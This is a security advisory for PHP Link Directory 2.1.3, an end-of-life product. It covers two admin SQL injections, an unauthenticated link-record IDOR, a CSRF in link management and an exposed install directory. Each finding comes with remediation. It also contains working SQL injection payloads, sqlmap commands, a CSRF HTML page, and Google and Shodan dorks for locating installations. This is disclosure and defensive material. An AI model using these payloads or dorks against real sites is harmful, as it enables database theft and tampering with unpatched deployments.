Title: PHP Link Directory (phpLD) 2.1.x Multiple Vulnerabilities
Product: PHP Link Directory (phpLD)
Vendor: NetCreated, Inc. / phplinkdirectory.com
Version: 2.1.3 (affects 2.1.0 through 2.1.3; entire 2.1.x branch likely)
Status: End-of-Life (EOL) — no official patch expected from vendor
Type: SQL Injection, IDOR, CSRF, Security Misconfiguration
Risk: High (authenticated SQLi) / Medium (unauthenticated IDOR)
Discovered: 2026-06-14
Published: 2026-06-14
Advisory: PHPLD-2026-001
Google Dork:
"PHP Link Directory" inurl:submit.php OR intitle:"phpLinkDirectory" OR
inurl:add_reciprocal.php OR "Powered by: php Link Directory"
Shodan Dork:
http.html:"PHP Link Directory" http.component:php
================================================================================
EXECUTIVE SUMMARY
================================================================================
PHP Link Directory (phpLD) version 2.1.3 contains multiple security
vulnerabilities in the administrative interface and public-facing
components. The software is legacy/EOL; administrators should migrate to
a maintained platform or apply manual patches.
Confirmed issues:
[1] SQL Injection — admin/dir_validate.php (POST parameter CATEGORY_ID)
[2] SQL Injection — admin panel ORDER BY clause (GET parameter sort)
[3] IDOR — add_reciprocal.php (unauthenticated link record update)
[4] CSRF — admin/dir_links_edit.php (state-changing GET requests)
[5] Security Misconfiguration — exposed install/ directory post-deploy
NOT vulnerable (verified — false positive prevention):
- index.php?q= (search uses $db->qstr())
- submit.php POST fields including CAPTCHA (parameterized / session check)
All PoCs below use http://127.0.0.1/phpld/ for authorized local testing.
================================================================================
CVSS v3.1 (approximate)
================================================================================
[1][2] SQL Injection (admin): CVSS 8.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
[3] IDOR (public): CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
[4] CSRF (admin): CVSS 6.5 AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
[5] Exposed install/: CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
================================================================================
TEST ENVIRONMENT
================================================================================
Software : PHP Link Directory 2.1.3
PHP : 5.x – 7.x (legacy codebase)
DBMS : MySQL / MariaDB
Base URL : http://127.0.0.1/phpld/
Prerequisites:
- Installation completed via /install/
- At least one admin or editor account
- At least one link in a category (for dir_validate SQLi test)
- At least one link with empty RECPR_URL field (for IDOR test)
================================================================================
[1] SQL INJECTION — admin/dir_validate.php (CATEGORY_ID)
================================================================================
Severity : High
CWE : CWE-89 (SQL Injection)
Auth : Required (admin or editor session)
Method : POST
Parameter: CATEGORY_ID
Affected file: admin/dir_validate.php (approx. line 122)
Vulnerable code:
if ($_REQUEST['CATEGORY_ID'] > 0) {
$where = " WHERE CATEGORY_ID = '".$_REQUEST['CATEGORY_ID']."'";
}
$rs = $db->Execute("SELECT `ID`, `URL`, `RECPR_URL`, `STATUS`, `ID`,
`RECPR_REQUIRED` FROM `{$tables['link']['name']}` {$where}");
The CATEGORY_ID value is concatenated directly into the SQL query without
sanitization or prepared statements.
--- Proof of Concept: Time-based blind ---
Step 1 — Authenticate and save session cookie:
curl -c cookies.txt -X POST \
"http://127.0.0.1/phpld/admin/login.php" \
-d "user=admin&pass=admin&submit=Login" -L
Step 2 — Trigger MySQL SLEEP (expect ~5 second response delay):
curl -b cookies.txt -X POST \
"http://127.0.0.1/phpld/admin/dir_validate.php" \
-d "submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1'+AND+SLEEP(5)--+-"
Step 3 — Boolean-based confirmation:
CATEGORY_ID=1' OR '1'='1 (returns all links in category scope)
CATEGORY_ID=1' AND '1'='2 (returns no links)
--- Proof of Concept: sqlmap ---
sqlmap -u "http://127.0.0.1/phpld/admin/dir_validate.php" \
--auth-url="http://127.0.0.1/phpld/admin/login.php" \
--auth-data="user=admin&pass=admin&submit=Login" \
--auth-type=POST \
--data="submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1" \
-p CATEGORY_ID \
--dbms=mysql --prefix="1'" --suffix="-- -" \
--batch --random-agent --time-sec=5
Impact:
Full read/write access to the application database as the configured DB
user, including PLD_USER (admin password hashes), PLD_LINK, PLD_CATEGORY.
Remediation:
Replace with: $where = " WHERE CATEGORY_ID = ".$db->qstr($_REQUEST['CATEGORY_ID']);
Or validate: $cid = intval($_REQUEST['CATEGORY_ID']);
================================================================================
[2] SQL INJECTION — admin ORDER BY (sort parameter)
================================================================================
Severity : High
CWE : CWE-89 (SQL Injection)
Auth : Required (admin or editor session)
Method : GET (value stored in PHP session, executed on subsequent request)
Parameter: sort
Affected files:
admin/init.php (approx. line 216)
admin/conf_users.php, admin/conf_payment.php, admin/email_message.php,
admin/email_sent_view.php, admin/dir_links.php, admin/dir_categs.php,
admin/dir_approve_links.php, admin/dir_approve_categs.php
Vulnerable flow:
// admin/init.php — user input stored without whitelist:
$_SESSION['sort'][SCRIPT_NAME]['field'] = $_REQUEST['sort'];
// admin/conf_users.php — stored value used in ORDER BY:
$orderBy = ' ORDER BY '. SORT_FIELD.' '.SORT_ORDER;
--- Proof of Concept: Two-step time-based (MySQL) ---
Step 1 — Login (see vulnerability [1], Step 1)
Step 2 — Poison session via malicious sort value:
curl -b cookies.txt \
"http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN,(SELECT+*+FROM+(SELECT+SLEEP(5))a)"
Step 3 — Trigger injected ORDER BY on page reload:
curl -b cookies.txt \
"http://127.0.0.1/phpld/admin/conf_users.php"
Expected: ~5 second delay on Step 3 if vulnerable.
--- Proof of Concept: sqlmap ---
curl -b cookies.txt \
"http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN"
sqlmap -u "http://127.0.0.1/phpld/admin/conf_users.php" \
--load-cookies=cookies.txt \
-p sort --technique=T --dbms=mysql --batch
Impact:
Same as [1] — database compromise via authenticated admin/editor session.
Remediation:
Whitelist allowed sort columns before storing in session, e.g.:
$allowed = array('LOGIN','NAME','EMAIL','ID');
if (in_array($_REQUEST['sort'], $allowed, true)) { ... }
================================================================================
[3] IDOR — add_reciprocal.php (unauthenticated link update)
================================================================================
Severity : Medium
CWE : CWE-639 (Authorization Bypass Through User-Controlled Key)
Auth : NOT required
Method : GET + POST
Parameters: id, RECPR_URL
Affected file: add_reciprocal.php (approx. lines 71–94)
Description:
Any remote attacker who knows or brute-forces a valid link ID where the
RECPR_URL field is empty can overwrite that link's reciprocal URL without
authentication, session ownership, or email verification.
Vulnerable code:
if ($data = $db->GetRow("SELECT * FROM PLD_LINK WHERE ID = ".$db->qstr($id)))
{
$data['RECPR_URL'] = $_REQUEST['RECPR_URL'];
...
if (SmartyValidate::is_valid($data, "add_reciprocal") && !empty($id))
$db->Replace($tables['link']['name'], $data, 'ID', true);
}
Note: The id parameter is sanitized as integer; the vulnerability is missing
authorization, not SQL injection on id.
--- Proof of Concept ---
Replace LINK_ID with a valid ID where RECPR_URL IS NULL or empty.
Step 1 — Confirm target link accepts reciprocal form:
curl -s "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" | \
grep -i "Reciprocal Link URL"
Step 2 — Overwrite reciprocal URL without authentication:
curl -X POST "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" \
-d "RECPR_URL=http://poc.example.invalid/reciprocal.html&submit=Add"
Step 3 — Verify in database:
SELECT ID, TITLE, URL, RECPR_URL FROM PLD_LINK WHERE ID=LINK_ID;
Expected: RECPR_URL updated to attacker-controlled URL; success message
"Your reciprocal link has been successfully added" in HTTP response.
Impact:
Unauthorized modification of directory link records; SEO manipulation;
reciprocal link integrity compromise.
Remediation:
Require email verification token issued at link submission time, or restrict
updates to authenticated link owners only.
================================================================================
[4] CSRF — admin link management via GET (dir_links_edit.php)
================================================================================
Severity : Medium
CWE : CWE-352 (Cross-Site Request Forgery)
Auth : Victim must hold active admin/editor session
Method : GET
Parameter: action
Affected file: admin/dir_links_edit.php (approx. line 41)
Description:
Administrative link management actions (delete, approve, status change) are
performed via GET requests without CSRF tokens. A logged-in administrator
visiting an attacker-controlled page can unknowingly trigger these actions.
Action format (colon-separated, parsed by split(':', $_REQUEST['action'])):
action=D:123 — Delete link ID 123
action=A:123 — Approve/activate link ID 123
action=S:123:2 — Set link ID 123 status to 2 (active)
--- Proof of Concept (HTML) ---
Save as csrf_poc.html and open in browser while admin session is active.
Host on any origin; change BASE and LINK_ID as needed.
<!DOCTYPE html>
<html>
<head><title>phpLD CSRF PoC</title></head>
<body>
<p>phpLD 2.1.3 CSRF PoC — authorized testing only</p>
<script>
var BASE = "http://127.0.0.1/phpld/admin";
var LINK_ID = "1";
new Image().src = BASE + "/dir_links_edit.php?action=D:" + LINK_ID;
new Image().src = BASE + "/dir_links_edit.php?action=A:" + LINK_ID;
</script>
</body>
</html>
Impact:
Unauthorized deletion or approval of directory links via social engineering.
Remediation:
Implement CSRF tokens on all state-changing admin actions; use POST-only
mutations; set session cookies with SameSite=Strict.
================================================================================
[5] SECURITY MISCONFIGURATION — exposed install/ directory
================================================================================
Severity : Medium
CWE : CWE-16 (Configuration)
Auth : NOT required
Description:
The installation wizard under /install/ is intended to be removed after
deployment. If left accessible, it may allow database reconfiguration or
reinstallation depending on server and session state.
--- Proof of Concept ---
curl -I "http://127.0.0.1/phpld/install/index.php"
Expected secure deployment: HTTP 404 or 403
Vulnerable deployment: HTTP 200 OK
Impact:
Potential database credential overwrite, site takeover on misconfigured hosts.
Remediation:
Delete the install/ directory immediately after successful installation.
================================================================================
REMEDIATION SUMMARY
================================================================================
1. DELETE install/ directory after setup
2. PATCH admin/dir_validate.php — escape CATEGORY_ID with $db->qstr()
3. PATCH admin/init.php — whitelist sort column names
4. PATCH add_reciprocal.php — add ownership/token verification
5. PATCH admin/*.php — add CSRF tokens; convert GET mutations to POST
6. MIGRATE away from phpLD 2.1.x (EOL, unsupported, PHP 5.x era code)
7. RESTRICT admin panel by IP allowlist or VPN where possible
================================================================================
TIMELINE
================================================================================
2026-06-14 Vulnerability discovered and verified on local installation
2026-06-14 Vendor notification attempted — product EOL, no active maintainer
2026-06-14 Public disclosure via CXSecurity (PHPLD-2026-001)
================================================================================
REFERENCES
================================================================================
Product : http://www.phplinkdirectory.com/
Version : 2.1.3 (include/version.php — CURRENT_VERSION)
Advisory : PHPLD-2026-001
Researcher: Xasthur
================================================================================
LEGAL NOTICE
================================================================================
This advisory and all included Proof-of-Concept code are provided for
authorized security testing and responsible disclosure purposes only.
Unauthorized access to computer systems is illegal. The author assumes no
liability for misuse of this information.
================================================================================